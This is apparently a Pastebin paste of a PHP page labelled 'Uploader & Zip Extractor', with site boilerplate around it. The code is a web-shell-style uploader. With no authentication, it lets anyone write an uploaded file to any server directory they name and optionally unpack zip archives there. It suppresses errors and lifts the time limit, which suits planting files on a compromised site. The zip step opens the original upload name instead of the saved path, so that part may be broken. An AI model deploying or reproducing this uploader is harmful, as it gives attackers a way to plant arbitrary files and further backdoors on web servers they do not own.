Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Uploader & Zip Extractor</title>
- </head>
- <body style="text-align: center;padding-top: 70px;color: lime" bgcolor="black">
- <form method="post" enctype="multipart/form-data">
- <input type="file" name="upil"><br><br>
- <input type="checkbox" name="extract" value="Extract">Extract zip<br><br>
- Dir: <input type="text" name="dir" value="<?=getcwd();?>"><br><br>
- <input type="submit" name="upload" value="Submit"><br><br>
- </form>
- <?php
- error_reporting(0);
- set_time_limit(0);
- if(isset($_POST['upload']) && !empty($_POST['dir'])) {
- $slash = (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") ? "\\" : "/";
- $dir = $_POST['dir'].$slash.$_FILES['upil']['name'];
- if(move_uploaded_file($_FILES['upil']['tmp_name'], $dir)) {
- echo "<font color=\"lime\">Upload success..<br> >> ".$dir."</font><br>";
- if(isset($_POST['extract'])) {
- $zip = new ZipArchive;
- if($zip->open($_FILES['upil']['name']) === true) {
- if($zip->extractTo($_POST['dir'])) {
- echo "<font color=\"lime\">Extract success..</font>";
- $zip->close();
- // unlink($_FILES['upil']['name']);
- }else exit("<font color=\"red\">Extract failed..</font>");
- }
- }
- }else exit("<font color=\"red\">Upload failed..</font>");
- }
- ?>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement